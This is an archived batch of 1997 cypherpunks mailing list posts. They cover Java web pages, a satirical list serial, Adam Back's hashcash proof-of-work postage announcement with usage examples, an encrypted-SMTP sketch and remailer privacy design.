ZDNet Announcements are periodic notices of new features, special
events and free offers available to members of ZDNet. 

--To subscribe to ZDNet Announcements, please send mail to:
announce-on@lists.zdnet.com        

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Fri, 28 Mar 1997 12:05:50 -0800 (PST)
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: Microsoft ammunition (fwd)
In-Reply-To: <5hg4m8$711@life.ai.mit.edu>
Message-ID: <333C24B0.41C6@ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate wrote:
> 
> Forwarded message:
> 
> > Date: Thu, 27 Mar 1997 16:11:50 -0600
> > From: Toto <toto@sk.sympatico.ca>
> > Subject: Microsoft ammunition
> 
> >  But, if you're tired of the repetition, here's a
> >  reason you should sit through another sermon:
> >  RandomNoise's Coda. Coda lets you design entire
> >  Web pages in Java rather than use a mixture of
> >  HTML content, tags, and Java applets.
> >
> >  A Java-based Web page removes the distinction
> >  between application and data. It presents data
> >  just as an HTML page would, but every element on
> >  the screen has the potential to be an interactive
> >  part of a sophisticated application.
> 
> Mix this with the distributed processing model of Plan 9 and you may just
> have tomorrows computer environment.


I very much hope not. We designed HTML with very specific
goals in mind, above all that the source be declarative and
machine readable. That is why HTML can be edited by the 
recipient, fed into a voice synth or index by Alta-Vista.

The Java based web pages will be opaque, just like postscript.
Try to cut and paste from ghostview to emacs. 

Merging the distinction between applet and code will give
lots of techno-geeks a nice orgasm but its the style of 
computing the Web has replaced. 

I have yet to see a single Java applet that has the slightest
functional utility. I like Java as a language, particularly 
because it has killed C++ stone dead just as everyone thought 
it had taken over the world. I don't see that anyone has done
anything with mobile code that is of interest however. If all
you want is a better user interface add some more tags into
HTML, implement Dave Raggets '94 draft perhaps.

I think the idea of using Java to move an applet from the 
client to a server is very exciting but thats not in the
Sun/Oracle game plan. 

The hypertext community had been beating the coda type model
for decades before the Web. I was skeptical then and I'm more
skeptical now. 

I turned Javascript, Active-X and Java off about 9 months back 
because I had little confidence in their security. I soon
realised I was much happier when the page did not dance about
in front of my eyes. I very rarely come to a site I can't access 
without them. If I could turn off animated Gifs as well I would 
be even happier.

I think the future of computing is much more likely to lie in
returning to simple but powerfull ideas. Presentation types,
parallel languages and genuine process oriented object systems
interest me much more.


		Phill




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Fri, 28 Mar 1997 13:29:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: WebWorld 19
Message-ID: <333C38A1.D2A@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the InterNet







The True Story of the InterNet

Part II


WebWorld & the Mythical 'Circle of Eunuchs'


by Arnold


Copyright 1995, 1996, 1997 Pearl Publishing


TruthMonger


Jonathan rubbed his temples, for the thousandth time, leaned back
in his chair, and rolled his head back and forth, easing the strain
on his neck and back muscles, which were wound tight as a drum
from endless hours of exhausting analysis of emails, CyberPosts,
keyword searches and traffic analysis reports which stretched
over the course of history starting with the birth of the Author
of "The Xenix Chainsaw Massacre" and ending with the
death of the CypherPunks.

Access to the Cowboy's files had led to a discovery that would
have shocked both the Masters of Antiquity, and scientists and
engineers around the world.
Apparently, HydroCube storage technology had been in existence
for some time before its official announcement by BabyGates Technology.
The Kid, as she was called, had been the daughter, lover, or employee
of the richest man in the world, depending on which version of
this era you believed. Her star had risen, even as Microsoft's
star had begun to fall, mostly as a result of her development
of the HydroCube, with its nearly infinite data-storage capacity.

Now, however, Jonathan was wondering if she hadn't actually discovered
the HydroCube long before previously thought, and made it available
to those working in the background on the InterNet, to fight against
the monopolizing power held by government and large corporations
during the early days of the CypherPunks.

And now, Jonathan had reason to believe that the Kid had actually
been a member of the CypherPunks, masquerading under the pseudonym
of Blanc Weber.
What's more, examination of her private email revealed to Jonathan
her close connection to another CypherPunk named Alec, who, in
turn, seemed to have some unknown relationship with the Author,
since he had the Author's PGP Public Key for 'sog' in his pubring.pgp
file. Possession of the 'sog' Public Key, a variation of the 'son
of gomez' key, was very rare, as Jonathan had found in his data
searches.

This apparent connection between the Circle of Eunuchs, the CypherPunks,
and BabyGates Technology was the only explanation that Jonathan
could find for the fact that he now had access to every bit and
byte of data that had ever traveled the InterNet since January
19, 1997 AD.

Jonathan shook off his reverie, and returned his attention to
the task at hand.

He was studying a trail of TruthMonger posts that had been sent
to the CypherPunks and Freedom-Knights lists, among others, shortly
after the CypherPunks list had moved off of the toad.com server,
and onto several others, forming a distributed list.

The TruthMonger persona was historically known as the first multi-user
pseudonym, one which appeared shortly after the original meeting
of the Circle of Eunuchs, according to legend.
Once an individual had posted an opinion, using the TruthMonger
persona, anyone who wished could follow up on that post, using
the same persona. The only non-enforceable 'requirements' for
using the pseudonym were that the first post should contain some
element of thinly veiled humor, and subsequent posts by others
should start out with logic and flow consistent with the previous
post before moving in the direction of the current author's predilections.

Often, a series of TruthMonger posts would start out from one
perspective, gradually move to its polar opposite, and then wind
its way circuitously back to the original frame of perspective,
but having gathered a much larger scope of perception along the
way.
TruthMonger posts tended to defy any attempts at categorization
by even the most proficient of traffic analysts, much to their
chagrin. As well, other shadowy entities sometimes leapt into
the fray, posting counterpoints to the TruthMonger missives, or
doing a winding dance of agreement and/or disagreement with the
various authors.

The persona was handy for those who sometimes felt the need to
step out of their own skin and argue from a point of view which
might be considered by some to be inconsistent with their usual
personality. It was considered shallow and rude, however, for
one to use the persona to reply directly to their own posts, although
they could play devil's advocate against themselves if someone
who supported their public position quoted them in a post.

And now, Jonathan found himself staring at a humorous spin-off
in a series of posts involving the traditional TruthMonger posts,
and some parallel posts by an entity or entities known as Dr.
Roberts.

From - Fri Mar 28 07:52:49 1997

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Date: Friday, 28 Mar 97 07:18:53 CST
To: cypherpunks@toad.com

From: Truth Mongrel <tm@woof.nut>

X-Mailer: WinSock Remailer Version ALPHA1.3B
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Subject: CypherPunks Hash Distribution Network
/ Combined thread 

Sender: owner-cypherpunks@algebra.com
Precedence: bulk
X-Mailing-List: cypherpunks@algebra.com
X-List-Admin: ichudov@algebra.com
X-Loop: cypherpunks@algebra.com


Igor Chudov @ home wrote:

> As far as I understand, the process of building a distributed
network of
> cypherpunks mailing lists is logically complete. It means
that the following
> list servers are now connected:

> ssz.com <---> algebra <----> cyberpass

> Again, you are free to do so and your Cc-copies will NOT
cause any
> duplication of traffic because each mailing list server employs
an
> anti-duplicate filter. It is just a waste of your keyboard
typing.

> Dale Thorn @ bat:
>> That's funny - I unsuscrived to toad, and 'scribed to
cyberpass and
>> algebra. I have been getting an average of 2-1/2 of each
message
>> that comes through. Mostly three's, a few two's, and
an occasional
>> five or six copies.

It sounds to me as if we might already have a naturally recurring

parallax to a hash-collusion system here.
In other misused words, perchance the ASCII art spams and multiple

copies of various posts, which became common fare for anyone who

followed the moderation/censorship experiment/dictatorship of

Gilmore/Sandfort and Toad/C2Net in Jan/Feb, are nature's way of

exacting a cost for subscription to the CypherPunks list(s).

Perhaps the good Dr. Vulis DV K, rather than being called a flamer,

should be referred to as our good friend, Mr. Fire, who helps
to 
clear the deadwood out of the forest.
Apparently, over a thousand pieces of deadwood were cleared
in the last cycle of flame wars. ("Run, Bambi. Run!")

Below, agreeing with me (in my dreams):
Hal Finney wrote:
> Adam Back writes:

> > [ Re idea to for a nym to "post a bond" to
enhance reputation]
> > Your suggestion is another neat way of passing expense
and tying an
> > investment to a nyms reputation.
> > X-reputation: 64 bit SHA1 collision
> > or
> > X-reputation: $100 digicash
> >
> Don't forget though, it's not really a payment system. The
hash
> collisions can't be exchanged for anything in the real world.

> They represent a certain threshold of effort which someone
has to have
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ (emphasis mine)
> expended to create them, but they can't replace cash. At
best they
> could be sort of a "play money" which some people
choose to accept.
> 
> I do like your idea of using it as an incoming spam filter,
though.
> (By spam I mean mass mailings.) 

Which begs the question, is the current system capable of acting

as an outgoing filter? Can it glean out the losers who are cruising

for an easy view of cryptography issues, and help maintain a higher

level of membership, limiting it to losers who have a more dedicated

interest/psychosis in privacy/paranoia cryptography/disinformation

issues?

> > - and anyway I've nearly finished implementing it (I'll
post the hash
> > cash postage money mint (collision generator) and remailer
plug-in
> > for postage later on today) where as not many people
have digicash
> > accounts.

Perhaps if Dale developed an 'outgoing filter' system to go with

Adam's 'incoming filter' system, we could have the best of both

worlds, being saved from "Make $$$ Fast" spams, but
having to use
our delete keys to ante-up in regard to our own list loons.

We could also institute a 'bad hash' system, where bad-hashes

like Tim C. May and Attila T. Hun could use their guns to balance

the threat of legal actions from bad-hashes like Greg Broiles
and
Side-Door Sammy.

With new developments such as these, to thwart the efforts of

anti-thwarters to bring balance and sanity to the list, perhaps

the CypherPunks can bypass the inevitable evolutionary extinction

of the 'bug-fixed' victims of insect vasectomies, and bring in

the new millennium as the longest running wash-out-your-mouth-with

Soap Opera on the InterNet, staying one step ahead of the guys

with the ButterflyNet.

The Truth of the Mongrel is, that we obviously need to develop

a system that makes certain the spam we receive is CypherSpam.

The loons on the list should be CypherLoons. Our membership
should consist of CypherIdiots, CypherNewbies, CypherElitists,

CypherLosers, CypherCynics, CypherSpooks and CypherGenius'.

Where else can movers and shakers like Robert Hettinga join
in an list-takeover attempt, then participate in the call for
the killing 
of the list when the takeover attempt has failed miserably,
and then, like a whirling dervish acting as his own spin doctor,

re-appear, riding on the back of the CypherXenix rising from the

ashes, and genuinely declare, "I *love* this list."?

Where else can CypherWoofers like Toto roundly condemn Sandfort

<spit>* and Gilmore <swallow>* as fascist censors,
then praise
his own bum-buddy, Igor Chewed-Off <commie>*, for his site
blocking 
efforts, and then again, cynically whine when his own "Make
Big $$$ 
Licking Your Own Nuts At Home" bulk-emails are intercepted
and deleted?

(* - ASCII Graphicology allegedly (c) DV K Bot-ling Plant, No-Inc.)

Where else can Afro-American cryptographers have their native

tongue, Ebonics, recognized as a valid encryption system?
Where else can you be guaranteed that your typos will be 
forwarded to Ft. Meade, to be pored over by military analysts

for hidden meaning, quite possibly launching world infowars as

a result of drunken, sticky fingers.

The CypherPunks list, love it or leave it, is still, far and away,

the best show in town.

("If I can make it theeerrre...I can make it anywheeerrre...")

And the way this relates to cryptography is...my brain is 
scrambled/encrypted.

Anarchist (Don't) Rule!

Truth Mongrel
~~~~~~~~~~~

Just say "No" to "Bad Dog Inside"

We got nuts, we're peeing on telephone poles, I know that ain't
allowed.
---------:---------:---------:---------:---------:---------:---------:---------:--------:--------

Truth Mongrel | Doggie Anarchy: cats chased, bones buried,
tm@woof.nut | anonymous droppings, analog come-calling
Woof! Woof! | legs lifted, territories marked
"Yard fences aren't even speed bumps on the garbage sniffing
alleyway."


Jonathan went through his pile of pattern ratiocination logs,
identity/pseudonym affinity markers, and traffic analysis flow-charts.

Every time that Jonathan began to think he had a grip on the underlying
associations and relationships behind the CypherPunks, their protagonists,
antagonists, friends and foes, he would come across a post such
as this one, which indicated that they were indeed just a loosely
connected band of rounders as their historical reputation made
them out to be. Every time that a plot line began to develop in
their history, then a post such as this would pop up suggesting
that they were merely a bunch of loose cannons, rolling around
on the deck of a ship that was not destined for any specific port.

Yet, at the same time, they always seemed to be on the cutting
edge of various upcoming technologies, with their ideas, philosophies
and methodologies being forerunners of the future directions of
the social society and scientific community of their era.

No matter what model Jonathan worked with, he found that he could
not predict with any amount of certainty which course of thought
or action any of the players on the list would take in any given
situation. Known spooks and government officials were just as
likely to switch roles with the known misfits on this or that
issue-depending, as far as Jonathan could tell on the air quality
on a given day-as they were to stoutly defend an entrenched position.

Even during the famed 'moderation' experiment, C2Net, the apparent
villain of the 'list takeover,' as the action was viewed by some,
had an abundance of employees who had previously played important
roles in the CypherPunks maintaining independence from outside
pressures, and who would do so in the future, as well.

Hettinga, known to the eCa$h Cows as the 'Patron Saint of eCa$h,'
had played varying roles in the CypherPunks history. An unabashed
glad-hander and master of public relations, he had had many an
apparent alliance with big-money outfits who were allied against
much of what the CypherPunks stood for, but he somehow managed
to maintain his alliances with even some of the more radical anarchist
on the list, eventually being the main player responsible in turning
control of the InterNet over to the CypherPunks at the end of
Channel War I.

Side-Door Sammy got his nickname by plugging Key Escrow for the
U.S. government-allowing them a back door into encryption systems
by holding the secret keys-at a time when government regulators
were close to losing support for it. Later, it turned out that
he had put in a famed Side-Door in his products, which could be
used by the CypherPunks to block the government's access to their
secret key.

Everywhere he looked, Jonathan saw examples of various factions
of the CypherPunks acting in a manner which seemed ill-suited
to the traditional roles that history would place on them as a
result of their perceived positions and alliances.
Jonathan looked at his charts on the others mentioned in the email
that currently held his attention.

Chudov-one of the shit-disturbers during the censorship crisis,
but also one of the administrators of the resurrected distributed
lists.

Thorn-a "been there, done that, got the T-shirt" type
of individual who had still managed to remain naïve in many
ways, even in regard to his own deep-seated paranoia and resulting
conspiracy theories.

Back and Finney-both strong intellectuals with a good grasp of
both the technology and politics of encryption and privacy issues,
but both had replied in private email to Toto's "Make Big
$$$ Licking Your Own Nuts At Home" spams. Were they double
agents, setting him up for a fall, or were their private lives
a world apart from their public personas?

Even Jonathan's grandfather, one of the legendary founders of
the list, had, to all appearances, betrayed them toward the end
of Channel War II. Yet Jonathan clearly remembered the joy with
which his family was received in their journey through the CypherPunks
underground at the close of the war.

Jonathan took off his reading glasses and rubbed his eyes, once
again. He decided to knock off for a while, have a quiet drink,
and get some much needed rest.
It seemed that the more information he had at his beck and call,
the less he knew about the players in the CypherPunks arena, and
the bigger the mystery surrounding their actions and the motives
behind them.

He sighed, and reached for the Jim Beam, once again.


Chapter 19 - TruthMonger








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 28 Mar 1997 08:57:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: [ANNOUNCE] hash cash postage implementation
Message-ID: <199703281652.QAA03299@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



A partial hash collision based postage scheme

I've been talking about a partial hash collision based postage scheme
on the crypto lists for the last few days. The idea of using partial
hashes is that they can be made arbitrarily expensive to compute (by
choosing the desired number of bits of collision), and yet can be
verified instantly.

A first cut implementation of these ideas can be fetched from here:

   * hashcash.tgz
   * PGP signature of hashcash.tgz

I will describe what the implementation allows by example, using the program
so you can follow along if you wish.

There is an integrated partial hash collision generator (hashcash mint) and
remailer plug-in. The remailer plug-in should be easy to hook into typeI
remailers. typeII or nymserver would require modifying the mixmaster
client/remailer, the code has been designed to make this relatively easy to
do, and link directly into mixmaster, or alpha or newnym.

Compiling

        % gcc -O6 -c *.c
        % gcc -o hashcash hashcash.o sha1.o
        % gcc -o sha1 sha1file.o sha1.o
        % gcc -o sha1test sha1test.o sha1.o
        %

The functions provided by the program are

Run with no arguments and it prints a list of flags and terse usage
instructions.

Speed test:

        % hashcash -t
        speed: 7218 hashes per sec
        %

This tells you the number of hashes it can search per second. (Note, the
implementation of sha1 it is using is not optimised, it is my reference
implementation. I have another speed freak sha1 implementation which needs
1/2 hrs work, and has the same interface, so I'll plug it in later. It's
commented in sha1.c).

Estimate time required to find 17-bit partial hash collision:

        % hashcash -t -17
        speed: 7274 hashes per sec
        find: 17 bit partial sha1 collision
        estimate: 9 seconds
        %

(varies quite widely from estimated time)

Calculate a 17 bit collision on string "flame"

(flame is a now dead remailer):

        % hashcash -17 flame
        speed: 7274 hashes per sec
        find: 17 bit partial sha1 collision
        collision: 09948flame356018443
        tries: 57450
        %

The collision is actually found on the hash of the date since Jan 1 1970 in
days (5 digit leading zero filled) and string given.

So the collision is found on:

        % echo -n 09948flame | sha1
        fbbea210abafe3e72afe7849eaea2052e309e017
        %

The collision that was found can be seen manually as the collision is
constrained to be the MSbits of the digest:

        % echo -n 09948flame356018443 | sha1
        fbbead76da651cf856f7466fed9624d3ada061d9
        %

You can manually see that the first 20 bits match. (Note we asked for a 17
bit hash, but it generates a 17 bit or larger hash. We just got lucky and
got an extra 3 bits, which would happen about 1 time in 8).

The hashcash client can also report on a collision:

        % hashcash flame 09948flame356018443
        collision: 20 bits
        %

You can check on the validity period as compared to todays date:

        % hashcash flame 09948flame356018443 28
        validity: 28 days remaining
        collision: 20 bits
        %

You can check that a hash has a requested number of bits:

        % hashcash -25 flame 09948flame356018443
        collision: 20 bits
        required: 25 bits
        rejected: too few bits
        %

The exit status is set to failure if any of the tests fail: ie if there are
too few bits, or if you do a validity check and the hash has expired, or
isn't yet in it's validity period.

Double spending protection

You can also ask the hashcash client to remember collisions within a
selected validity period.

        % hashcash -d -25 flame 09948flame356018443 28
        validity: 28 days remaining
        collision: 20 bits
        required: 20 bits
        database: not double spent
        adding: 28 09948flame356018443
        %

The collision will only be added if all the tests pass (in validity period,
required number of bits). The exit status also tells you if the hash was ok.

The database would grow indefinately as the mailer accepted new payments, so
the validity period is stored in the database, and at the next use of the
database after the validity period expires, the collision will be discarded.
There is no need to keep expired collisions around because we wouldn't
accetp it anyway because it's out of date, so who cares if we've previously
accepted it. A validity period of 0 means valid forever, and it will never
be discarded from the database.

An example of double spending

A new test now is whether a hash has been presented before, so we the above
command and expect it to be rejected as already spent, because it is in the
database:

        % hashcash -d -25 flame 09948flame356018443 28
        validity: 28 days remaining
        collision: 20 bits
        required: 25 bits
        rejected: too few bits
        database: double spent
        %

(exit status is set to failure, due to double spent cash)

That's it

It's very lightly tested, so if anything breaks let me know.

It's got some inefficiencies in places, but working code comes first,
efficiency later.

(Also I have not tested my SHA1 implementation on a big endian machine, it
auto-detects byte endian-ness, theoretically).

Remailer applications discussed so far

   * exit remailer postage per post
   * spam filter on mail you receive, if it hasn't got a 20 bit hash, or 1c
     digicash you have a program which bounces it with a notice explaining
     the required postage, and where to obtain software from. This would put
     spammers out of business overnight, as 1,000,000 x 20 = 100 MIP years
     which is going to be more compute than they've got, and 1,000,000 x 1c
     = $10,000 is going to be more than they are likely to make through
     sales interest from the spam.
   * good behaviour bond for nymserver users. The nymserver user pays the
     nymserver (in a largish hash collision, or $25 digicash) for a
     replyable nymserver account. They agree an contract with the penalty
     clause that breaking the contract means the nymserver keeps the
     digicash/collision, and disables the account. They user's identity
     isn't known, but to join in again they have to pay up another large
     hash collision or more digicash.
   * there are lots of other ideas to play with.

How does this fit in with digicash

Digicash postage on remailers, and mail would be useful, however there are a
number of problems with digicash:

   * It is more onerous to set up an account (form filling etc)
   * Not many people have accounts
   * It's only anonymous for the payer anonymous (and not anonymous for the
     seller)

So my suggestion is that we have remailers which accept either hash
collision postage, or digicash postage. The advantages of this approach are:

   * Hashcash may provide a stop gap measure until digicash becomes more
     widely used
   * Hashcash is free, all you've got to do is burn some cycles on your PC.
     It is in keeping with net culture of free discourse, where the
     financially challenged can duke it out with millionaires, retired
     government officials, etc on equal terms.
   * Hashcash may provide us with a fall back method for controling spam if
     digicash goes sour (gets outlawed or required to escrow user
     identities).

Any comments, code, etc gratefully received.  A couple of remailers
alpha testing it would be nice also.

Adam

-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Fri, 28 Mar 1997 15:15:59 -0800 (PST)
To: Kent Crispin <kent@songbird.com>
Subject: Re: Analysis of proposed UK ban on use of non-escrowed crypto.
In-Reply-To: <5heds8$mdv@life.ai.mit.edu>
Message-ID: <333C513B.446B@ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin wrote:

> Thus, in PGPs case at least, if you want escrowed encryption, then
> you must escrow the signature key.

Hence the DSA which is a signature algorithm that does not do
encryption. I think the use of the same key for both is a bad idea BUT
note that if you have a secure signature scheme you don't need an
encryption key at all.

Simply generate yourself a fresh set of public key parameters for each
communication in the manner of IPSEC. The hard problem of setting up
security is knowing the identity of the other party. All else pales into
insignificance in comparison.

Consider the following scenario. SMTP is adjusted so that it has a DH
key exchange crypto option. A typical conversation becomes:-

EHELO You-got-crypto-mate?
269 Yeah I have crypto
XCHAL RSA 248af23876acdef
270 [key-id] [DHparameters e, n, e^x mod n] [sig-of-challenge+DH-params] 
XENCRYPT [IV] [e^y mod n] 

[Conversation continues encrypted under key e^y^x mod n AND keybits 
padding out messages as appropriate.]


Now this type of scheme could be implemented without a certificate
infrastructure and severly increase the difficulty of snooping. In that
case the message would be sent even though [sig-of-challenge+DH-params]
was absent. But with a CA infrastructure you could make sure that you
hads contacted the correct machine, one authorised to accept mail for
fred@ibm.com] all you need is a means of hacking the following assertion
into X509v3:

"Is authorized user of DNS namespace identifier matching"

Add in a date and the protocol could be made very reilient and entirely
transparent. Now that mail is moving away from godamn awfull crap like
sendmail towards engineered systems like notes or exchange adding in
protocol extensions becomes easier.

If the mail sending agent knows that mail to a particular host should be
sent encrypted the system can be made much more transparent than PGP or
S/MIME. Like the punters might be able to use it without getting screwed
too often.


I think email security has often been the perfect being the enemy of the
good. One huge problem has been braindamaged ideas about routing email
through store and forward mailers rather than connecting to the real
destination to start with. 


	Phill




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: das@razor.engr.sgi.com (Anil Das)
Date: Fri, 28 Mar 1997 18:24:56 -0800 (PST)
To: aba@dcs.ex.ac.uk>
Subject: Re: [ANNOUNCE] hash cash postage implementation
In-Reply-To: <199703281652.QAA03299@server.test.net>
Message-ID: <9703281824.ZM5275@razor.engr.sgi.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam,

	How does Dr. Bernstein's announcement of finding
a 56 bit collision in md5 using a few hours on a Pentium
affect this scheme? It was not clear from his post whether
he was looking for a collision with a known hash, or just
two different strings with a collision of the given length.

On Mar 28,  4:52pm, Adam Back wrote:
>
> (Also I have not tested my SHA1 implementation on a big endian machine, it
> auto-detects byte endian-ness, theoretically).

	Works fine here. Big endian Mips R10K.

% ./sha1test
test 1

SHA1("abc") =
        a9993e364706816aba3e25717850c26c9cd0d89d test ok

test 2

SHA1("abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq") =
        84983e441c3bd26ebaae4aa1f95129e5e54670f1 test ok

test 3

SHA1("a" x 1,000,000) =
        34aa973cd4c4daa4f61eeb2bdbad27316534016f test ok

% ./hashcash -t -22
speed: 70921 hashes per sec
find: 22 bit partial sha1 collision
estimate: 30 seconds

--
Anil Das




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 28 Mar 1997 19:25:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: remailer spam throttle
In-Reply-To: <199703281917.TAA03495@server.test.net>
Message-ID: <DVVa5D47w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back <aba@dcs.ex.ac.uk> writes:

> > X sends 1000 copies of child porn/seditious libel to 100 people
> > believed not to be using remailers right now.  The remailer keeps
> > the 100 e-mails onits hard disk and e-mails each receipient a ping,
> > inviting them to agree to the disclaimer terms and to retrieve their
> > anonymous e-mail.  The first recipient to retrieve the e-mail gets
> > upset and contacts the feds.  The feds figure, the remailer still
> > has the 99 other e-mails and the information on who's supposed to
> > receive them in its queue; why not seize it and take a look.
>
> Here's a partial solution to that: in the ping email informing the
> recipient there is mail waiting, you include a key, encrypt the
> message body that you are retaining data with the key and then discard
> the key.  Give a deadline: "your message will be deleted in 5 days".
> They re-supply the key when they request the message.  You immediately
> decrypt and send it back to them, discarding all knowledge of them
> (email, encrypted message, encryption key).

That's a good idea, but it'll take up a lot of disk space at the
machine running the remailer.  Right now, remailers that provide
latency don't keep an e-mail for more than about 12 hours. Once
you start keeping them around for a few days (a reasonable grace
period for a first-time user), it's a lot more disk space.

> One snag is that you still have addresses for recipients on your
> machine so they can go harass people and ask them for the keys to the
> as yet uncollected messages.
>
> Refinement to solution (I like this one), get rid of the intended
> recipients address immediately after sending the ping, just keep the
> encrypted body of the message.  Include in the ping something which
> reliably selects a message (say first encrypted line, SHA1 hash of
> encrypted message, whatever, to save you having to try to decrypt all
> of your messages).

That's a good refinement, but it's still not enough, IMO.
Suppose a LEA wants to search the computer hosting the remailer.
They come across a bunch of encrypted files.
The operator has to convince the LEA that they don't have the means
to decrypt the e-mails or even to figure out who they're from.
That just may be close to contempt of court. Say, you might be
asked to explain how you generate the "random" keys so they
can be recreated.

IMO, the 'net has changed from what it used to be a few years ago.
One can no longer send e-mail to an unknown recipient and hope that
they're willing to accept anonymous e-mail. I'm not 100% sure what
needs to be done, but I firmly believe that in today's climate
unless the remailer knows that the recipient took some positive
action to indicate that s/he has a clue (such as, added a key to a
keyserver), their anon mail should be immediately discarded and
they should instead get a note:

Someone tried to send you anonymous e-mail; because we don't
know whether you want to receive anon e-mail, it's been discarded
and can't be recovered; anon e-mail can be bad; disclaimer
dislciamer disclaimer; and here's what you need to do to
receive future e-mail if you want it.

> > [keyserver with I-accept-anon-email bit consulted by remailer, no
> > key in remailer => instant trash of message and ping message
> > explaining how to accept anon email]
>
> This sounds a lot like the distributed block and accept list idea
> which has been discussed a bit.

Yes - nothing really new.

> I like your treatment of the remailed material as a `hot potato',
> instantly pass it on or burn it.

Yes - 5 days worth of anon mail, even if it's encrypted and the
recipient is stripped, is an attractive target for LEA's looking
for child porn and the like.

> > Right now, there's a very large number of addresses in the key servers.
> > Instantly making them into a list of addresses that accept anon mail
> > will make it hard (hopefully infeasible) for the LEAs to investigate
> > everyone willing to accept anon e-mail as a suspect in sending it.
>
> The per remailer block list system kind of does this at the moment,
> only the list of people initially marked down as willing to accept
> anon email is the world.
>
> Everyone can recieve email, but people get blocked when they complain.

Unfortunately this model is based on assumptions that are no longer
true.  I've been on the 'net since the early 80s.  I used to
prozelityze(sp?) everyone I knew that the 'net is a great tool
and that  we all should use it. Well, now the 'net is full of
assholes and you can no longer assume that just because someone
has access to the 'net, they have a clue.

However I think it's a safe assumption that someone who put their
key in a key server has enough of a clue to be able to handle
an anon e-mail; and if they don't, they should be able to turn
it off easily.

> Incidentally, it has occurred to me for a while now that the reverse
> problem also exists: if I suspect you (Dimitri) use remailers, I can
> forge a message from you to all the remailer operators requesting that
> I (ie you) be blocked.  I can include some exceedingly dire legal
> threats to the remailer operator, and dig up some vile messages from
> some dark corner of usenet which I falsely claim came through that
> operators remailer.  As the remailer operator doesn't keep logs he
> won't be able to recognize the falsehood of the accusation.
>
> To solve this problem you need to do a ping message, "please reply
> with this nonce to be blocked".

Yes, that's a possibility. E-mail from has has been forged in the
past, as Igor can attest. :-) Again, the 'net has changed. As some
folks are aware, I run 3 mailing lists at another site. 2 are near-dead,
but one has been up since '89 and is pretty active. Recently I had
to institute the policy of confirming subscriptions because of the
several forged subscription requests.  Such things were unthinkable
even 4 or 5 years ago.

A key server presumably has some mechanisms for checking that someone
who wants to store or update a key for a@b appears to be a@b.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 28 Mar 1997 19:11:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Dilbert on Smartcards
Message-ID: <3.0.1.32.19970328191025.0068db88@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


The March 21 Dilbert is on 
	http://www.unitedmedia.com/comics/dilbert/
Friday; to see it later, look in
	http://www.unitedmedia.com/comics/dilbert/archive/

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 28 Mar 1997 11:22:53 -0800 (PST)
To: dlv@bwalk.dm.com
Subject: Re: remailer spam throttle
In-Reply-To: <TH804D2w165w@bwalk.dm.com>
Message-ID: <199703281917.TAA03495@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Dimitri Vulis <dlv@bwalk.dm.com> writes:
> Igor Chudov <ichudov@algebra.com> writes:
> > [uses list of hashes of email addreses to reduce value of the database
> > to the attacker]
> > 
> > Well, they can compile the list of addresses off of USENET postings and
> > such and then compute the hashes of the compiled names and identify
> > those that are on the anon acceptance list. Not that it completely
> > invalidates the idea, but certainly it is a problem.
> 
> Another feature I really don't like about asking the first-time recipients
> to agree to accept e-mail while it's on the reamailer is:
> 
> With the present scheme, if a remailer is "raided", it has precious little
> interesting stuff on it at any one time. Now consider the scenario:
> 
> X sends 1000 copies of child porn/seditious libel to 100 people
> believed not to be using remailers right now.  The remailer keeps
> the 100 e-mails onits hard disk and e-mails each receipient a ping,
> inviting them to agree to the disclaimer terms and to retrieve their
> anonymous e-mail.  The first recipient to retrieve the e-mail gets
> upset and contacts the feds.  The feds figure, the remailer still
> has the 99 other e-mails and the information on who's supposed to
> receive them in its queue; why not seize it and take a look.

Here's a partial solution to that: in the ping email informing the
recipient there is mail waiting, you include a key, encrypt the
message body that you are retaining data with the key and then discard
the key.  Give a deadline: "your message will be deleted in 5 days".
They re-supply the key when they request the message.  You immediately
decrypt and send it back to them, discarding all knowledge of them
(email, encrypted message, encryption key).

One snag is that you still have addresses for recipients on your
machine so they can go harass people and ask them for the keys to the
as yet uncollected messages.

Refinement to solution (I like this one), get rid of the intended
recipients address immediately after sending the ping, just keep the
